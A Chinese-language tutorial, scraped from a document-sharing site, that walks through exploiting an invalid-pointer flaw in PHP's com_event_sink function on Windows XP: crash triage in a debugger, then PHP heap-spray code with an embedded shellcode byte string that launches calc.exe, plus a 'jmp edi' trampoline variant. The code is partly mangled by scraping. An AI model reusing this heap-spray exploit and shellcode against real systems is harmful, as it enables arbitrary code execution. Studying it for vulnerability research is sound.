PHP com_event_sink心得分析.doc_第1页
PHP com_event_sink心得分析.doc_第2页
PHP com_event_sink心得分析.doc_第3页
PHP com_event_sink心得分析.doc_第4页
PHP com_event_sink心得分析.doc_第5页
已阅读5页,还剩3页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

参考文档:/blogs/.php-0-day-394//en-us/library/bb159840.aspx前言:(如果喜欢文章 请关注 广告伞 雨伞 雨伞厂对我们支持)长期潜水,最近发现似乎没有什么漏洞暴出来,我等菜鸟只能到处瞎转悠,偶尔发现这个漏洞的外文博客。此漏洞的成因和实现过程都比较简单,便拿来分析把玩一下,得出此文希望能与吾等一样水平的菜鸟共勉一下。分析过程:原文博客里面讲了很多关于PHP的漏洞类型和历史的一些漏洞的影响,以及PHP和WEB服务器等等的交互问题,有兴趣的可以去我给你的原文链接里面去看看,这里我们重点关注漏洞的部分。 首先我们来看一段PHP的代码:代码: terminated = true; $ie = new COM(InternetExplorer.Application);/ note that you dont need the & for PHP 5!$sink = new IEEventSinker();com_event_sink($ie, $sink, DWebBrowserEvents2);$ie-Visible = true;$ie-Navigate();while(!$sink-terminated) com_message_pump(4000);$ie = null;? 上面的代码,我们可以通过php目录中的php.exe 来进行解析,得出来的结果是打开一个google的页面,上面的代码主要意思 是,创建了一个 IEEventSinker的对象,下面用new 创建了一个IE的com接口,最后使用com_event_sink这个函数进行一些 操作,为了搞清楚这些操作的意义,这里我贴出了com_event_sink在PHP官网上面的解释:代码:说明bool com_event_sink( variant $comobject , object $sinkobject , mixed $sinkinterface )Instructs COM to sink events generated by comobject into the PHP object sinkobject.Be careful how you use this feature; if you are doing something similar to the example below, then it doesnt really make sense to run it in a web server context.参数comobjectsinkobjectsinkobject should be an instance of a class with methods named after those of the desired dispinterface; you may use com_print_typeinfo() to help generate a template class for this purpose.sinkinterfacePHP will attempt to use the default dispinterface type specified by the typelibrary associated with comobject, but you may override this choice by setting sinkinterface to the name of the dispinterface that you want to use.由上面的文字可以大概知道此函数用于连接COM对象的某个接口的,本菜英语很烂,大概理解就是将某个COM对象中的接口与PHP中创建的 对象进行关联,这样的话PHP中的代码就可以接管此接口中响应的一些时间消息或者,定义一些操作什么的。此处的示例代码,是将 DWebBrowserEvents2与IEEventSinker类创建的对象进行关联,DWebBrowserEvents2接口主要用于接收一些游 览器控件产生的消息,具体的解释大家可以在我贴出的参考资料中午查阅,这里就不贴出来了,因为讲了这么多其实跟漏洞的直接关联的只有 com_event_sink这个函数。经过上面对于此段实例代码的解释,我们可以知道传入com_event_sink函数中的参数是两个对象的指针,和一个字符串变量,那么如果这两个对 象的指针是一个无效指针,这个函数是否会有一定的容错处理呢?这个疑问,就是揪出此漏洞成因的一个关键点,显然根据文章的解释,这个函数并没有对传入进的 对象进行有效地校验,所以导致了如果传入的值是一个无效指针的话,将会导致出现不可跳过的错误,是的解释程序崩溃,这里我们可以构造如下代码进行测试:代码:我们可以是PHP.exe 在cmd下这个php文件,结果是程序出现崩掉的现象。第一步我们已经到达了,这时候可以拿出 调试器来进行确定崩溃的地址和具体崩溃的场景,这里我使用的是ImmunityDebug。正常载入后,点运行,记住把所有的异常忽略都去掉,否则出现异常也不会中断。运行以后,会中断与此,可以看出来访问异常的地址是我们在代码中赋予com_event_sink这个函数的第一个参数的值,再看寄存器:此时的EDI保存着我们的第三个参数,也就是字符串的指针。根据上面两幅图,我们可以发现,最终在5A9C3BB1的代码处,会使用到我们传递进去的错误的指针指向的函数地址,这里要利用起来就很明显了,我们可以用到漏洞利用常常用到的堆风水的方法。要利用到堆风水的方法,我们需要仔细的看一下下面这三句代码:8B76 18 MOV ESI,DWORD PTR DS:ESI+18 - 此处为第一个参数地址8B16 MOV EDX,DWORD PTR DS:ESI - 取出地址中的值8B4A 10 MOV ECX,DWORD PTR DS:EDX+10 -取出+0x10后的地址的值FFD1 CALL ECX由上面的代码,我们可以猜想到使用常用的0x0X0X0X0X的方法来进行喷射,代码如下:代码:?php$chunk_size = 0x80000;/ $payload = str_repeat(C,100); $payload= x90x90x90x90x90x90x90x90x0cx0cx0cx0cxfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx6ax01x8dx85xb9x00x00x00x50x68x31x8bx6fx87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53xffxd5x63x61x6cx63x2ex65x78x65x00;$nopsled = x04x04x04x04;while(strlen($nopsled)$chunk_size) $nopsled.= $nopsled;echo strlen($nopsled);$nopsled_len = $chunk_size - (strlen($payload) + 20);$nopsled = substr($nopsled,0, $nopsled_len);for ($i = 0 ; $i 在我的XP3虚拟机中可以正常的执行shellcode,弹出可爱的计算器程序,代码中可以发现我使用的不是常用的0x0c0c0c0c这个地址,至 于为什么大家自己实践一下就会明白了,至此整个漏洞的利用基本上讲完了,不过这样的方法似乎对于漏洞给予的条件似乎没有充分利用,列入函数中的第三个参数 的指针在EDI寄存器上面这个条件,似乎没有得到充分的发挥,这里文章中是使用了一种更为巧妙一点的代码:代码:?php$eip =x64x55xFAx7F; /jmp edi$eax =x80x01x8dx04;$deodrant=;$axespray = str_repeat($eip.$eax,0x80); echo strlen($axespray);for($i=0;$i 经过修改以后,代码如上面所示。这里文章中使用的思路主要是利用一个跳板来实现对shellcode的利用,也就是找到一 个 Jmp edi 这样的地址,然后让call ecx的地方,能正确的命中我们的跳板程序,经过跳板再执行到我们的shellcode,要使用这 样的方法,我们需要把跳板地址进行喷射。观察一下刚才异常的地址:8B76 18 MOV ESI,DWORD PTR DS:ESI+18 - 此处为第一个参数地址8B16 MOV EDX,DWORD PTR DS:ESI - 取出地址中的值8B4A 10 MOV ECX,DWORD PTR DS:EDX+10 -取出+0x10后的地址的值FFD1 CALL ECX首先ESI是我们给予的地址,然后会把这个当成指针获取里面的值,里面的值会再次作为指针获取+0x10的值,然后把这个值当成函数指针拿来调用。这 里整理一下的话,就是要有两个指针值,加上一个能调用shellcode的跳板地址值,所以我们可以把跳板地址和一个指向跳板地址合并起来进行喷射,然后 将第一个指针的值(我们可以在外部控制的地址)指向,那个指向跳板地址的值(这里可能有点绕,语言水平有限见谅!),这样的话就可以达到 shellcode利用了。到这里

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论